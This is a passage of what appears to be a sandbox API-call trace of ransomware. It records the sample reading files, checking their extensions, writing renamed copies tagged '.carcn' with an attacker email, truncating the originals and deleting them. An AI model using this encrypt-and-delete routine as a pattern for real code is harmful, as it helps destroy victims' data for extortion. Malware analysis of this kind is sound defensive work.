lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.681] lstrlenW (lpString=".rar") returned 4 [0161.681] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.681] lstrlenW (lpString=".bz2") returned 4 [0161.681] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.681] lstrlenW (lpString=".7z") returned 3 [0161.681] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0161.681] lstrlenW (lpString=".dbf") returned 4 [0161.681] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0161.681] lstrlenW (lpString=".1cd") returned 4 [0161.681] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0161.681] lstrlenW (lpString=".jpg") returned 4 [0161.681] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.681] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.681] lstrlenW (lpString="Setup.ico") returned 9 [0161.681] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0161.681] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=36710) returned 1 [0161.681] CloseHandle (hObject=0x34c) returned 1 [0161.681] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0161.682] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.682] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0161.682] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.682] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.682] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0161.682] GetLastError () returned 0x0 [0161.682] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x8f66, lpOverlapped=0x0) returned 1 [0161.699] WriteFile (in: hFile=0x300, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x8f70, lpOverlapped=0x0) returned 1 [0161.700] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.700] WriteFile (in: hFile=0x300, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xe6, lpOverlapped=0x0) returned 1 [0161.701] SetEndOfFile (hFile=0x300) returned 1 [0161.701] CloseHandle (hObject=0x300) returned 1 [0161.702] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.702] SetEndOfFile (hFile=0x34c) returned 1 [0161.703] CloseHandle (hObject=0x34c) returned 1 [0161.703] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.703] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0161.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0161.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0161.704] lstrlenW (lpString=".doc") returned 4 [0161.704] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.704] lstrlenW (lpString=".docx") returned 5 [0161.704] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0161.704] lstrlenW (lpString=".pdf") returned 4 [0161.704] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.704] lstrlenW (lpString=".xls") returned 4 [0161.704] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.704] lstrlenW (lpString=".xlsx") returned 5 [0161.704] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0161.704] lstrlenW (lpString=".ppt") returned 4 [0161.704] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0161.704] lstrlenW (lpString=".zip") returned 4 [0161.704] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.704] lstrlenW (lpString=".rar") returned 4 [0161.704] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.705] lstrlenW (lpString=".bz2") returned 4 [0161.705] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.705] lstrlenW (lpString=".7z") returned 3 [0161.705] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0161.705] lstrlenW (lpString=".dbf") returned 4 [0161.705] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0161.705] lstrlenW (lpString=".1cd") returned 4 [0161.705] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0161.705] lstrlenW (lpString=".jpg") returned 4 [0161.705] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0161.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0161.705] lstrlenW (lpString=".doc") returned 4 [0161.705] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.705] lstrlenW (lpString=".docx") returned 5 [0161.705] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0161.705] lstrlenW (lpString=".pdf") returned 4 [0161.705] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.705] lstrlenW (lpString=".xls") returned 4 [0161.705] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.705] lstrlenW (lpString=".xlsx") returned 5 [0161.705] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0161.705] lstrlenW (lpString=".ppt") returned 4 [0161.705] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0161.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0161.705] lstrlenW (lpString=".zip") returned 4 [0161.705] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0161.705] lstrlenW (lpString=".rar") returned 4 [0161.705] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0161.705] lstrlenW (lpString=".bz2") returned 4 [0161.706] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0161.706] lstrlenW (lpString=".7z") returned 3 [0161.706] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0161.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0161.706] lstrlenW (lpString=".dbf") returned 4 [0161.706] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0161.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0161.706] lstrlenW (lpString=".1cd") returned 4 [0161.706] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0161.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0161.706] lstrlenW (lpString=".jpg") returned 4 [0161.706] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0161.706] lstrcmpiW (lpString1=".ico", lpString2=".carcn") returned 1 [0161.706] lstrlenW (lpString="SysReqMet.ico") returned 13 [0161.706] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0161.706] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=1150) returned 1 [0161.706] CloseHandle (hObject=0x34c) returned 1 [0161.707] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0161.707] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.707] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0161.707] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.707] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.707] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0161.707] GetLastError () returned 0x0 [0161.707] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x47e, lpOverlapped=0x0) returned 1 [0161.875] WriteFile (in: hFile=0x300, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x480, lpOverlapped=0x0) returned 1 [0161.876] ReadFile (in: hFile=0x34c, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.876] WriteFile (in: hFile=0x300, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xee, lpOverlapped=0x0) returned 1 [0161.876] SetEndOfFile (hFile=0x300) returned 1 [0161.876] CloseHandle (hObject=0x300) returned 1 [0161.877] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.877] SetEndOfFile (hFile=0x34c) returned 1 [0161.877] CloseHandle (hObject=0x34c) returned 1 [0161.878] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.878] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0161.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0161.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0161.878] lstrlenW (lpString=".doc") returned 4 [0161.878] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0161.878] lstrlenW (lpString=".docx") returned 5 [0161.878] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0161.878] lstrlenW (lpString=".pdf") returned 4 [0161.878] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0161.878] lstrlenW (lpString=".xls") returned 4 [0161.878] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0161.878] lstrlenW (lpString=".xlsx") returned 5 [0161.878] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0161.878] lstrlenW (lpString=".ppt") returned 4 [0161.878] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0162.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0162.006] lstrlenW (lpString=".zip") returned 4 [0162.006] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0162.006] lstrlenW (lpString=".rar") returned 4 [0162.006] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0162.006] lstrlenW (lpString=".bz2") returned 4 [0162.006] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0162.006] lstrlenW (lpString=".7z") returned 3 [0162.006] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0162.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0162.006] lstrlenW (lpString=".dbf") returned 4 [0162.006] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0162.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0162.006] lstrlenW (lpString=".1cd") returned 4 [0162.006] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0162.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0162.006] lstrlenW (lpString=".jpg") returned 4 [0162.006] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0162.007] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0162.007] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0162.007] lstrlenW (lpString=".doc") returned 4 [0162.007] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0162.007] lstrlenW (lpString=".docx") returned 5 [0162.007] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0162.007] lstrlenW (lpString=".pdf") returned 4 [0162.007] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0162.007] lstrlenW (lpString=".xls") returned 4 [0162.007] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0162.007] lstrlenW (lpString=".xlsx") returned 5 [0162.007] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0162.007] lstrlenW (lpString=".ppt") returned 4 [0162.007] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0162.007] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0162.007] lstrlenW (lpString=".zip") returned 4 [0162.007] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0162.007] lstrlenW (lpString=".rar") returned 4 [0162.007] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0162.007] lstrlenW (lpString=".bz2") returned 4 [0162.007] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0162.007] lstrlenW (lpString=".7z") returned 3 [0162.007] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0162.007] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0162.007] lstrlenW (lpString=".dbf") returned 4 [0162.007] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0162.007] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0162.007] lstrlenW (lpString=".1cd") returned 4 [0162.007] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0162.007] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0162.007] lstrlenW (lpString=".jpg") returned 4 [0162.007] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0162.008] lstrcmpiW (lpString1=".msi", lpString2=".carcn") returned 1 [0162.008] lstrlenW (lpString="netfx_Core_x86.msi") returned 18 [0162.008] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.008] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=1163264) returned 1 [0162.008] CloseHandle (hObject=0x388) returned 1 [0162.008] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0162.009] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0162.009] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0162.009] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.009] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.009] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0162.009] GetLastError () returned 0x0 [0162.009] ReadFile (in: hFile=0x388, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0162.703] WriteFile (in: hFile=0x378, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0162.718] ReadFile (in: hFile=0x388, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x1c010, lpOverlapped=0x0) returned 1 [0163.267] WriteFile (in: hFile=0x378, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x1c020, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x1c020, lpOverlapped=0x0) returned 1 [0163.271] ReadFile (in: hFile=0x388, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.271] WriteFile (in: hFile=0x378, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0163.272] SetEndOfFile (hFile=0x378) returned 1 [0163.272] CloseHandle (hObject=0x378) returned 1 [0163.336] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.336] SetEndOfFile (hFile=0x388) returned 1 [0163.338] CloseHandle (hObject=0x388) returned 1 [0163.338] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0163.338] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 1 [0163.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0163.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0163.338] lstrlenW (lpString=".doc") returned 4 [0163.338] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0163.338] lstrlenW (lpString=".docx") returned 5 [0163.339] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0163.339] lstrlenW (lpString=".pdf") returned 4 [0163.339] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0163.339] lstrlenW (lpString=".xls") returned 4 [0163.339] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0163.339] lstrlenW (lpString=".xlsx") returned 5 [0163.339] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0163.339] lstrlenW (lpString=".ppt") returned 4 [0163.339] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0163.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0163.339] lstrlenW (lpString=".zip") returned 4 [0163.339] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0163.339] lstrlenW (lpString=".rar") returned 4 [0163.339] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0163.339] lstrlenW (lpString=".bz2") returned 4 [0163.339] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0163.339] lstrlenW (lpString=".7z") returned 3 [0163.339] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0163.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0163.339] lstrlenW (lpString=".dbf") returned 4 [0163.339] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0163.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0163.339] lstrlenW (lpString=".1cd") returned 4 [0163.339] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0163.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0163.339] lstrlenW (lpString=".jpg") returned 4 [0163.339] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0163.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0163.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0163.339] lstrlenW (lpString=".doc") returned 4 [0163.340] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0163.340] lstrlenW (lpString=".docx") returned 5 [0163.340] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0163.340] lstrlenW (lpString=".pdf") returned 4 [0163.340] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0163.340] lstrlenW (lpString=".xls") returned 4 [0163.340] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0163.340] lstrlenW (lpString=".xlsx") returned 5 [0163.340] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0163.340] lstrlenW (lpString=".ppt") returned 4 [0163.340] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0163.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0163.340] lstrlenW (lpString=".zip") returned 4 [0163.340] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0163.340] lstrlenW (lpString=".rar") returned 4 [0163.340] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0163.340] lstrlenW (lpString=".bz2") returned 4 [0163.340] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0163.340] lstrlenW (lpString=".7z") returned 3 [0163.340] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0163.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0163.340] lstrlenW (lpString=".dbf") returned 4 [0163.340] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0163.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0163.340] lstrlenW (lpString=".1cd") returned 4 [0163.340] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0163.340] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x86.msi") returned 40 [0163.340] lstrlenW (lpString=".jpg") returned 4 [0163.340] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0163.341] lstrcmpiW (lpString1=".msi", lpString2=".carcn") returned 1 [0163.341] lstrlenW (lpString="netfx_Extended_x64.msi") returned 22 [0163.341] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0163.385] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=872448) returned 1 [0163.385] CloseHandle (hObject=0x378) returned 1 [0163.386] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 0x80 [0163.386] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.386] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: 